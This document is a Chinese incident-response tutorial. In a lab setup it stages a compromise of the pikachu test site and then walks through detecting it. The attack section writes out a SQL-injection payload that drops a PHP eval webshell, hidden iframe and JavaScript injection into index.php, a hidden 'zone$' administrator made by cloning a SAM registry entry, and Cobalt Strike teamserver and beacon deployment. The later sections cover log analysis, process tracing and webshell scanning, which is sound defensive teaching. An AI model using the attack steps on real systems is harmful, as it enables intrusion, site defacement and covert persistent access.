目录
一、基本概念
1、什么是应急响应?
应急响应(Incident Response)就像网络空间的"消防队",它的核心是在安全事件发生后,进行有效应对和快速恢复。
你可能会问,我们如何及时发现攻击?现实是,许多攻击,尤其是利用未知漏洞(0day)的新手法,往往能绕过监测设备的规则库,因为它们看起来和正常流量无异。这时,传统的告警系统可能会失效。
应急响应的关键价值,恰恰体现在这里:当攻击不可避免地已经发生,我们能通过一套事先准备好的流程,迅速控制事态、分析原因、止损恢复,并追踪攻击来源。这不仅是为了解决眼前的问题,更是为了提升未来的防御能力。
正因为其重要性,应急响应经验也成了网络安全岗位面试中的常见问题。
2、应急响应的几个阶段
应急响应流程图:

整个应急响应工作是多人一起做的,工作大致分为如下几个阶段:
- 准备阶段:
制定应急响应计划
建立应急响应团队
准备应急工具和资源
制定沟通计划
建立备份和恢复机制
与第三方合作
记录和文档管理 - 检测阶段:
监控和识别异常
部署检测工具
形成安全事件报告
确定事件输入点和时间线
评估影响范围
溯源攻击链路 - 抑制阶段:
限制攻击范围
关闭受损系统
收集证据
实施临时修复措施
通知相关人员
监控和评估
记录和报告 - 根除阶段:【各部门协调实施】
分析恶意行为
彻底清除恶意代码
修复漏洞
恢复系统完整性
验证清除效果
记录和报告
制定预防措施 - 恢复阶段:【各部门协调实施】
恢复系统和服务
验证系统完整性
更新和加固系统
恢复数据
重新部署安全措施
监控和评估
记录和报告
制定和更新恢复计划 - 跟进阶段:【各部门协调实施】
审计和验证
总结和报告
经验教训
调整安全策略
培训和教育
加强监控和防御
改进应急响应计划
溯源(有损失的话通过正规渠道定损追责)
二、环境配置
1、环境信息
| 名称 | 值 |
|---|---|
| 操作系统 | Windows Server 2003 |
| 中间件 | phpStudy 2016 |
| PHP版本 | 5.4.45 |
| Apache | 2.4 |
2、开启日志
Step1 :打开phpstudy,打开apache的配置文件

Step2 :按CTRL+F打开查找对话框,并搜索customlog

将前面的##删除并保存,如图中的效果那样。
Step3:务必重启phpstudy,方可查看日志内容
查看日志文件的路径为:
phpStudy\PHPTutorial\Apache\logs 或者 C:\phpStudy\Apache\logs ,文件名access.log

3、部署pikachu
(1)部署地址
bash
C:\phpStudy\WWW\pikachu
(2)安装pikachu
Step1:在数据库中新建pikachu数据库;
Step2:自定义修改inc/config.inc.php文件里面的参数;
Step3:访问如下安装地址后点击"安装/初始化"按钮;并提示安装成功
bash
http://192.168.179.144:90/pikachu/install.php

三、攻击实施------植入WebShell
1、网站挂马
Step1:通过sql注入,写入一句话木马从而getshell,控制主机
通过sql注入可以获得数据库的所有数据:xx' or 1=1 #
那么接下来可以通过outfile函数直接写入一句话木马:
bash
# 直接复制这一段到输入框中
xx' union select "<?php @eval($_POST['zone']);?>",2 into outfile
"C:\\phpStudy\\WWW\\pikachu\\1.php" #

完整的payload:
bash
select 1,2 from table where id='
xx' union select "<?php @eval($_POST['zone']);?>",2 into outfile
"C:\\phpStudy\\WWW\\pikachu\\1.php" #
';

最终的结果就是:往C:\phpStudy\WWW\pikachu路径下写入了一个1.php的文件,文件内容是数据库语法select查询的相关内容<?php @eval($_POST['zone']);?> 2

注意:利用SQL注入的方式植入一句话木马需满足如下条件:
bash
outfile/dumpfile读写文件 mysql读写文件的前提:
1、知道站点的具体绝对路径
2、mysql的配置中配置了secure_file_priv="" 双引号就表示默认开启
3、用户拥有物理路径的写入权限
4、mysql最好有root权限
条件234都不是我们能控制的,但是条件1是可以做到的:如何获得后台真实物理路径。
扩展:什么情况下可以写入webshell,以及webshell如何去修复的方式。以及应对策略
bash
1、 收集站点敏感目录,比如phpinfo.php探针文件是否可以访问到
2、 站点网址输入一些不存在的网址或者加一些非法参数数据,让网站报错,看错误信息中是否存在路径信息
3、 指纹信息收集,默认站点目录
nginx默认站点目录: /usr/share/nginx/html,配置文件路径:/etc/nginx/nginx.conf
apache默认站点目录:/var/www/html,配置文件路径:/etc/httpd/conf/httpd.conf
...
如果信息收集的时候收集到CMS的指纹信息,即可尝试写入。例如:
xx' union select "<?php @eval($_POST['zone']);?>",2 into outfile
"/usr/share/nginx/html/1.php" #
4、通过站点其他漏洞来获取配置信息、真实物理路径信息,比如如果发现远程命令执行漏洞,针对php的站
点,直接执行一个phpinfo()函数,可以看到phpinfo.php所展示的各种信息等等。
5、其他思路,反正就是不断的尝试。
Step2 :蚁剑获取webshell


Step3:网站挂马
方式1:框架挂马
bash
<iframe src=https://www.4399.com width=500 height=500></iframe>
把这段代码放进代码中去。
方式2:js挂马:把这个代码写入到js文件中去(更加隐蔽)
bash
document.write("<iframe width=0 height=0 src=https://www.4399.com></iframe>")
上面的代码保存为xxx.js
index.php引用xxx.js
<script lnguage=javascript src=xxx.js></script>
编辑index.php,在代码最后添加一行(选择了方式1)
bash
<iframe src=https://www.4399.com width=500 height=500></iframe>


最终效果:

所挂网站是4399,这仅为示例。如果真实网站被入侵,很可能就会被挂载赌博、色情等非法的网站,或者再挂一个木马,窃取用户信息。
2、设置影子用户
Step1 :添加影子用户作为后门


从图中可以看到,目前webshell所拿到的权限为管理员,则无需进行提权处理,后续可进行添加用户的操作,具体如下:
bash
# 查看主机上有存在的用户
C:> net user
# 添加zone$用户,此为影子用户
C:> net user zone$ /add
# 查看zone$用户的信息,默认情况下,新增用户的本地组成员为Users,而非Administrators
C:> net user zone$
# 将zone加入到Administrators组,提高其用户权限
C:> net localgroup Administrators zone$ /add
# 给zeno用户设置密码
C:> net user zone$ 123456

Step2 :远程登录zone$用户


备注:后续操作均在zone$用户下进行操作!!
Step3:打开"计算机管理",查看影子用户的存在性
在打开"计算机管理"前,在命令行中使用命令查看zone$用户是否存在。

显然,通过net user命令并未看到zone$的存在,这是影子用户具有的隐蔽性。接下来,到"计算机管理"查看是否存在该用户。


在"计算机管理"中,看到了zone$这个影子用户的存在。但依然不够隐秘,继续后续操作加深隐秘性,让一般人很难察觉。
Step4:打开注册表(WIN+R,输入regedit),并设置SAM的权限
Windows管理用户的注册表键值:
bash
HKEY_LOCAL_MACHINE\SAM\SAM
右键点击最里面一层的 sam,选择"权限"

将完全控制勾选上,点击确定

Step5:替换zone$的数组为Administrator
Windows管理用户的注册表键值:
bash
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
在SAM/Domains/Account/Users/Names处,选择Administrator用户。在右侧的键值处可以找到对应的值如0x1f4,然后从左侧的Users目录下可以找到对应的文件

选择000001F4,双击右侧的"F",可以看到一串数据,复制③处红色框内的数字

找到zone$对应的值,同样打开F

将zone$的值替换为Administrator的值,并点击确定

Step6:导出注册表,将zone$和00000403从注册表中右键导出
保存路径:
bash
C:\phpStudy\WWW\pikachu\assets

Step7:将zone$用户删除

从图中可以看到,在"计算机管理"中将用户zone删除后,zone的值在注册表中也消失了。
Step8:将刚刚导出的两个文件分别双击执行,并点击"是"重新导入进注册表中

只要提示导入成功即可!

从图中可以看到,zone$已经在"计算机管理"中不存在了。
Step9:重新远程登录zone$


Step10:将注册表中SAM的权限改回来

Step11:隐藏zone$的目录


3、利用影子用户设置后门
Step1:启动CS的Server端和Client端
Server端(Kali机中运行):
bash
$ cd /home/kali/tools/CS4.8 #切换到我们上传的CS4.8⽬录中
$ cd server #切换到server⽬录
#赋予服务端运⾏权限
$ chmod +x teamserver
$ chmod +x TeamServerImage
$ sudo ./teamserver 192.168.179.128 test #启动teamserver(服务端)IP地址为kali的地址,test为连接密码
[sudo] password for kali:
[*] Generating X509 certificate and keystore (for SSL)
Generating 3,072 bit RSA key pair and self-signed certificate (SHA384withRSA) with a validity of 90 days
for: CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, ST=Cyberspace, C=Earth
[*] Starting teamserver
[*] Team Server Version: 4.8 (Pwn3rs)
[*] Setting 'https.protocols' system property: SSLv3,SSLv2Hello,TLSv1,TLSv1.1,TLSv1.2,TLSv1.3
[*] Loading keystrokes.
[*] Loaded 0 keystrokes.
[*] Loading screenshots.
[*] Loaded 0 screenshots.
[*] Loading downloads.
[*] Loaded 0 downloads.
[*] Loading Windows error codes.
[*] Windows error codes loaded
[*] Loading hosted files
[*] Loaded 0 servers with hosted items
[*] Loading beacons
[*] Loaded 0 beacons
[+] Team server is up on 0.0.0.0:50050 # 默认端⼝是50050,且无地址限制
[*] SHA256 hash of SSL cert is: 44bc7fd1d9706b82bd047a8d1503d
Client端(Windows端运行):

用户名可任意设置。确认密码、IP和端口无误后单击"Connect"按钮。

Step2 :使用CS生成木马,通过webshell管理工具蚁剑上传到Windows2003运行上线

新增连接配置。名为NAT_1。

将其进行保存并取消x64位的勾选。

Step3 :将保存好的文件(a.exe)通过蚁剑上传至目标服务器,并运行a.exe


此时目标服务器的桌面可以监控了。
四、开始排查
1、查看网站

打开网站首页发现已经被挂马了。那么,切换到其他非主页页面是怎样的呢?

在非首页页面中并未发现挂马。发现只有主页才有挂马的痕迹,其他页面没有,也可能隐藏了

2、查看代码
(1)手动查看
主页页面代码的位置:
bash
C:\phpStudy\WWW\pikachu\index.php

在代码最后,被写入了一个iframe标签,src就是我们主页去请求的www.4399.com。我们刚刚发现了攻击者在我们网站上植入的恶意代码(挂马)。
发现网站被挂马,先别直接删,咱们得"留一手"。
- 为啥不直接删除,而是先注释?
- 攻击往往一环扣一环,直接删掉可能就断了线索,后面想追溯其他攻击就难了。
- 注释掉既能防止它继续影响用户,又能保留现场,方便后续分析。
- 实际操作怎么做?
- 比如挂的是 iframe,就先把它注释掉,页面就能正常用了。
- 等全部检测做完、确定没有其他隐患之后,再彻底清理。
- 检测和抑制同时进行
- 真实应对攻击时,一般都是一边检测、一边控制:
- 发现一处,就先按住一处,避免影响扩大。
- 小心还有"隐藏款"
- 其他页面没看到挂马,不代表真的没有。
- 有的攻击会故意隐藏,所以必须全面排查,不能只看表面。
这么处理,既稳妥又能保住线索,不容易打草惊蛇。
(2)用seay工具查看
①为何使用工具检查
手动翻查每个页面效率低,直接用代码审计工具可快速、全面定位问题。
②工具与方法
使用 Seay 代码审计工具,对 pikachu 项目进行全局搜索,关键词设为 www.4399.com。
③检查结果
发现仅主页 index.php中存在该链接,其他页面未检测到匹配项,说明挂马位置较集中。
Step1 :在Seay中新建项目,即限定搜索目录

Step2 :打开"全局搜索"功能,并搜索www.4399.com,最终得到含有被植入的网站

搜索iframe同样可以得到被植入的网站。

可以确定,挂马的地方仅有index.php。后续操作需注释掉被挂马的源代码或者清理掉!
3、查看WEB日志
Step1:找到日志路径
bash
C:\phpStudy\Apache\logs\access.log
Step2 :查找日志,发现最近的恶意日志

日志内容(节选的恶意日志):
bash
192.168.179.1 - - [21/Apr/2026:10:23:03 +0800] "GET /pikachu/vul/sqli/sqli_str.php HTTP/1.1" 200 33603
192.168.179.1 - - [21/Apr/2026:10:23:13 +0800] "GET /pikachu/vul/sqli/sqli_str.php?name=xx%27+union+select+%22%3C%3Fphp+%40eval%28%24_POST%5B%27zone%27%5D%29%3B%3F%3E%22%2C2+into+outfile+%22C%3A%5C%5CphpStudy%5C%5CWWW%5C%5Cpikachu%5C%5C1.php%22+%23&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 33852
192.168.179.1 - - [21/Apr/2026:10:32:04 +0800] "POST /pikachu/1.php HTTP/1.1" 200 100
192.168.179.1 - - [21/Apr/2026:10:41:09 +0800] "POST /pikachu/1.php HTTP/1.1" 200 374
192.168.179.1 - - [21/Apr/2026:10:41:19 +0800] "POST /pikachu/1.php HTTP/1.1" 200 72
192.168.179.1 - - [21/Apr/2026:10:41:28 +0800] "POST /pikachu/1.php HTTP/1.1" 200 713
192.168.179.1 - - [21/Apr/2026:10:41:35 +0800] "POST /pikachu/1.php HTTP/1.1" 200 68
192.168.179.1 - - [21/Apr/2026:10:41:41 +0800] "POST /pikachu/1.php HTTP/1.1" 200 65
192.168.179.1 - - [21/Apr/2026:12:31:26 +0800] "POST /pikachu/1.php HTTP/1.1" 200 899
192.168.179.1 - - [21/Apr/2026:12:31:27 +0800] "POST /pikachu/1.php HTTP/1.1" 200 385
192.168.179.1 - - [21/Apr/2026:12:31:29 +0800] "POST /pikachu/1.php HTTP/1.1" 200 706
192.168.179.1 - - [21/Apr/2026:12:31:52 +0800] "POST /pikachu/1.php HTTP/1.1" 200 709
192.168.179.1 - - [21/Apr/2026:12:32:27 +0800] "POST /pikachu/1.php HTTP/1.1" 200 16
192.168.179.1 - - [21/Apr/2026:12:32:44 +0800] "POST /pikachu/1.php HTTP/1.1" 200 19
192.168.179.1 - - [21/Apr/2026:12:50:09 +0800] "POST /pikachu/1.php HTTP/1.1" 500 -
接下来对日志行为进行逐条分析。
Step3:日志分析1
bash
192.168.179.1 - - [21/Apr/2026:10:23:13 +0800] "GET /pikachu/vul/sqli/sqli_str.php?name=xx%27+union+select+%22%3C%3Fphp+%40eval%28%24_POST%5B%27zone%27%5D%29%3B%3F%3E%22%2C2+into+outfile+%22C%3A%5C%5CphpStudy%5C%5CWWW%5C%5Cpikachu%5C%5C1.php%22+%23&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 33852
URL在线解码地址:
bash
https://toolb.cn/urlencode

bash
%27+union+select+%22%3C%3Fphp+%40eval%28%24_POST%5B%27zone%27%5D%29%3B%3F%3E%22%2C2+into+outfile+%22C%3A%5C%5CphpStudy%5C%5CWWW%5C%5Cpikachu%5C%5C1.php%22+%23&submit=%E6%9F%A5%E8%AF%A2
解析为:
union select "<?php @eval($_POST['zone']);?>",2 into outfile "C:\\phpStudy\\WWW\\pikachu\\1.php" #
恶意日志记录:
bash
时间:2026.04.21 10:23:13
恶意IP:192.168.179.1
访问地址:/pikachu/vul/sqli/sqli_str.php?
请求类型:GET
行为分析:利用SQL注入,在路径C:\\phpStudy\\WWW\\pikachu\\1.php中写入了个1.php
Step4:日志分析2
bash
192.168.179.1 - - [21/Apr/2026:10:32:04 +0800] "POST /pikachu/1.php HTTP/1.1" 200 100
恶意日志记录:
bash
时间:2026.04.21 10:32:04
恶意IP:192.168.179.1
访问地址:/pikachu/1.php
请求类型:POST
行为分析:攻击者执行利用了1.php执行了POST请求,可能在利用webshell
Step5:日志分析3
bash
192.168.179.1 - - [21/Apr/2026:10:32:04 +0800] "POST /pikachu/1.php HTTP/1.1" 200 100
192.168.179.1 - - [21/Apr/2026:10:41:09 +0800] "POST /pikachu/1.php HTTP/1.1" 200 374
192.168.179.1 - - [21/Apr/2026:10:41:19 +0800] "POST /pikachu/1.php HTTP/1.1" 200 72
192.168.179.1 - - [21/Apr/2026:10:41:28 +0800] "POST /pikachu/1.php HTTP/1.1" 200 713
192.168.179.1 - - [21/Apr/2026:10:41:35 +0800] "POST /pikachu/1.php HTTP/1.1" 200 68
192.168.179.1 - - [21/Apr/2026:10:41:41 +0800] "POST /pikachu/1.php HTTP/1.1" 200 65
192.168.179.1 - - [21/Apr/2026:12:31:26 +0800] "POST /pikachu/1.php HTTP/1.1" 200 899
192.168.179.1 - - [21/Apr/2026:12:31:27 +0800] "POST /pikachu/1.php HTTP/1.1" 200 385
192.168.179.1 - - [21/Apr/2026:12:31:29 +0800] "POST /pikachu/1.php HTTP/1.1" 200 706
192.168.179.1 - - [21/Apr/2026:12:31:52 +0800] "POST /pikachu/1.php HTTP/1.1" 200 709
192.168.179.1 - - [21/Apr/2026:12:32:27 +0800] "POST /pikachu/1.php HTTP/1.1" 200 16
192.168.179.1 - - [21/Apr/2026:12:32:44 +0800] "POST /pikachu/1.php HTTP/1.1" 200 19
192.168.179.1 - - [21/Apr/2026:12:50:09 +0800] "POST /pikachu/1.php HTTP/1.1" 500 -
恶意日志分析记录:
bash
时间段:2026.04.21 10:32:04 至 2026.04.21 12:50:09
恶意IP:192.168.179.1
访问地址:/pikachu/1.php
请求类型:POST
行为分析:攻击者在此时间段内,持续利用1.php有110分钟,说明存在持续击活动
Step6 :查看本地服务器是否存在1.php恶意文件

可以看见,本地服务器中存在1.php文件,并且此文件是个一句话木马,存在恶意行为。类似于菜刀、蚁剑、冰蝎之类的程序可通过1.php拿到目标主机的权限或文件目录
4、查看系统日志
在 windows 日志中,使用 Event ID 来表示发生事件的类型,下面是一些常见事件的说明:
| 事件ID | 事件说明 |
|---|---|
| 4624 | 登录成功 |
| 4625 | 登录失败 |
| 4634 | 注销成功 |
| 4720 | 创建用户 |
| 4726 | 删除用户 |
| 4732 | 用户组属变更 |
| 1102 | 安全日志清除 |
| 104 | 其他日志清除 |
老版本的服务器(例如:Windows 2003 server)系统的事件ID
| 事件ID | 描述 | 对应新版事件ID |
|---|---|---|
| 528 | 登录成功(交互式) | 4624 |
| 529 | 登录失败(用户名/密码错误) | 4625 |
| 538 | 用户注销 | 4634 |
| 540 | 网络登录成功(如共享访问) | 4624 |
| 551 | 用户主动注销(如 logoff 命令) | 4647 |
| 624 | 成功创建用户账户 | 4720 |
| 630 | 成功删除用户账户 | 4726 |
老版本的服务器(例如:Windows 2003 server)日志文件
bash
系统日志:SysEvent.evt
安全日志:SecEvent.evt
应用程序日志:AppEvent.evt
其他自定义日志(如DNS、目录服务):也位于此目录,文件名可能类似 DNSEvent.evt 。
存放路径为:
C:\Windows\System32\config
日志查看的方式(任选一种即可)
方式1:打开事件查看器
bash
打开方法1:此电脑 ---> 管理 ---> 事件查看器
打开方法2:win+r 打开运行窗口,输入 eventvwr.msc 即可打开

方式2:logparser日志分析工具
下载地址:
bash
https://www.microsoft.com/en-us/download/details.aspx?id=24659
Log Parser(是微软公司出品的日志分析工具,它功能强大,使用简单,可以分析基于文本的日志文件、XML文件、CSV(逗号分隔符)文件,以及操作系统的事件日志、注册表、文件系统、Active Directory。它可以像使用SQL语句一样查询分析这些数据,甚至可以把分析结果以各种图表的形式展现出来
安装完成后的路径如下:
bash
C:\Program Files (x86)\Log Parser 2.2
旧版的Windows 2003 server 服务器的安装路径是:
C:\Program Files\Log Parser 2.2
将该路径添加到环境变量中。
bash
我的电脑 --> 属性 --> 高级 --> 环境变量
以分号 ; 分割将logparser的安装路径加入到环境变量中
添加完成后使用 win+R 打开 powershell ,输入 LogParser.exe 进行调用
基本查询语法:
bash
# 登录成功的所有事件
LogParser.exe -i:EVT --o:DATAGRID "SELECT * FROM
C:\Windows\System32\config\SecEvent.evt where EventID=528"
# 提取登录成功的用户名和IP:
LogParser.exe -i:EVT --o:DATAGRID "SELECT EXTRACT_TOKEN(Message,13,' ') as
EventType,TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,'|') as
Username,EXTRACT_TOKEN(Message,38,' ') as Loginip FROM
C:\Windows\System32\config\SecEvent.evt where EventID=528"
# 登录失败的所有事件:
LogParser.exe -i:EVT --o:DATAGRID "SELECT * FROM
C:\Windows\System32\config\SecEvent.evt where EventID=529"
# 查看用户创建的日志
LogParser.exe -i:EVT -o:DATAGRID "SELECT TimeGenerated, EventID, EventTypeName,
Message FROM Security WHERE EventID=624"
# 查看用户删除的日志
LogParser.exe -i:EVT -o:DATAGRID "SELECT TimeGenerated, EventID, EventTypeName,
Message FROM Security WHERE EventID=630"
接下来进行具体的日志查看操作,具体如下:
Step1:时间点排查
根据web日志可以看出,2026.04.21 10:32:04 至 2026.04.21 12:50:09期间攻击力利用了1.php,说明攻击者在此时间段之后,在系统中所产生的日志具有分析意义。
Step2 :通过事件查看器可以看到,在2026.04.21 12:58:20时,zone$用户登录了系统。这可能是攻击者通过webshell新增的用户。

备注:应急响应没结束【检查用户、查看端口和进程、查看启动项(计划任务、服务)、查看系统信息(补丁信息)、工具查杀(条件允许,可以直接上工具)】
5、检查用户
Step1:在命令行中,利用net user查看用户列表
bash
C:\> net user

无其它恶意用户
Step2 :查看"计算机管理"中的用户

发现有恶意用户zone$
6、查看端口、进程
Step1:获取所有网络连接及进程ID
bash
C:> netstat -ano > C:\netstat_all.txt
运行后得到的结果:
bash
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:81 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:82 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:83 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:84 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:85 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:86 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:88 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:90 0.0.0.0:0 LISTENING 3608
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 692
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING 436
TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING 1372
TCP 0.0.0.0:2383 0.0.0.0:0 LISTENING 1444
TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 3616
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 1896
TCP 10.10.10.10:139 0.0.0.0:0 LISTENING 4
TCP 127.0.0.1:1434 0.0.0.0:0 LISTENING 1372
TCP 127.0.0.1:5152 0.0.0.0:0 LISTENING 1228
TCP 192.168.179.144:139 0.0.0.0:0 LISTENING 4
TCP 192.168.179.144:3202 192.168.179.128:1236 CLOSE_WAIT 3132
UDP 0.0.0.0:445 *:* 4
UDP 0.0.0.0:500 *:* 436
UDP 0.0.0.0:1026 *:* 756
UDP 0.0.0.0:1434 *:* 1796
UDP 0.0.0.0:4500 *:* 436
UDP 10.10.10.10:123 *:* 792
UDP 10.10.10.10:137 *:* 4
UDP 10.10.10.10:138 *:* 4
UDP 127.0.0.1:123 *:* 792
UDP 127.0.0.1:1027 *:* 1512
UDP 192.168.179.144:123 *:* 792
UDP 192.168.179.144:137 *:* 4
UDP 192.168.179.144:138 *:* 4
可疑的连接:
bash
TCP 192.168.179.144:3202 192.168.179.128:1236 CLOSE_WAIT 3132
Step2:定位进程
根据netstat命令定位出的pid,再通过tasklist命令进行进程定位
bash
C:> tasklist | findstr "3132"

发现进程为a.exe
Step3:溯源文件
bash
C:> tasklist /v /fi "pid eq 3132"

暂时路径信息,尝试用如下命令:
bash
C:> wmic process where processid=3132 get executablepath
C:> wmic process where name="a.exe" get executablepath,processid

最终得到路径,并定位到目录。此文件在对外发送信息。

此时应该将此文件关停,并保存到其它位置作为证据。
7、查看启动项、计划任务、服务
(1)检查服务器是否有异常的启动项
因某些木马都是开启自启动的,否则重启后木马默认不会启动。
检查方法:
- 登录服务器,单击【开始】>【所有程序】>【启动】,默认情况下此目录在是一个空目录,确认是否有非业务程序在该目录下。
- 单击开始菜单 >【运行】,输入 msconfig,查看是否存在命名异常的启动项目,是则取消勾选命名异常的启动项目,并到命令中显示的路径删除文件。
- 单击【开始】> 【运行】,输入 regedit,打开注册表,查看开机启动项是否正常,特别注意如下三个注册表项:
bash
HKEY_CURRENT_USER\software\micorsoft\windows\currentversion\run
(默认会存在一个输入法的进程:C:\Windows\system32\ctfmon.exe)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
(默认和【运行】>msconfig查看的启动项目是一一对应的)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce
检查右侧是否有启动异常的项目,如有请删除,并建议安装杀毒软件进行病毒查杀,清除残留病毒或木马。
- 利用安全软件查看启动项、开机时间管理等。
- 组策略,运行gpedit.msc

(2)检查计划任务
检查方法:
-
单击【开始】>【设置】>【控制面板】>【任务计划】,查看计划任务属性,便可以发现木马文件的路径。好多木马都是在半夜偷偷启动

-
单击【开始】>【运行】;输入 cmd,然后输入at,检查计算机与网络上的其它计算机之间的会话或计划任务,如有,则确认是否为正常连接。
bash
at 00:00 calc
at 1 /del
Windows2003以上版本使用:schtasks.exe(不需要记忆,输入at会有提示)

(3)服务自启动
检查方法:
单击【开始】>【运行】,输入services.msc
注意服务状态和启动类型,检查是否有异常服务。有时候木马会以服务的方式来启动。

8、检查系统相关信息
(1)查看系统版本以及补丁信息
单击【开始】>【运行】,输入:systeminfo
查看系统信息、补丁信息等

此系统目前已经打了7个补丁。修复得越多,漏洞利用的空间越小,系统更安全。
如果不能打补丁,可通过关闭对应的漏洞利用端口来进行防御和修复。
(2)查找可疑目录及文件
检查方法:
- 检查用户目录
新建账号会生成对应的用户目录。攻击者可能删除账号,但用户目录中可能残留历史记录或异常时间戳,通过查看这些目录可发现痕迹。
Window 2003系统:
bash
C:\Documents and Settings
新版系统存在其他的地方:
| 子目录 | 存储内容 | 现代系统对应位置 |
|---|---|---|
| \All Users | 全局用户共享数据 | C:\ProgramData |
| \用户名\My Documents | 个人文档 | C:\Users\用户名\Documents |
| \用户名\Application Data | 软件配置数据 | C:\Users\用户名\AppData\Roaming |
每创建一个用户,系统在这里都会创建一个对应名称的文件夹,自动记录一些信息。

- 分析最近打开分析可疑文件
单击【开始】>【运行】,输入:%UserProfile%\Recent
- 在服务器各个目录,可根据文件夹内文件列表时间进行排序,查找可疑文件。
9、自动化工具
之前的操作均为手动排查,如果是条件允许,且想进一步查找因手动排查未查到的盲区,可考虑使用自动化工具。
(1)D盾
D盾是用于扫描webshell的工具。专门针对Windows系统设计的专业的webshell图形化查杀工具。
Step1 :打开D盾后,设置自定义扫描

Step2 :选择扫描路径

Step3 :扫描得到最终结果

关于D盾扫描的级别(风险级别 1-5级)的判定标准如下:
级别1:风险极低,可忽略。
级别3以上:基本可确认存在风险,建议处理。
级别5:确定存在严重风险,必须立即清除。
(2)各种安全软件(360、火绒、瑞星、金山毒霸等)
此处无需在赘述。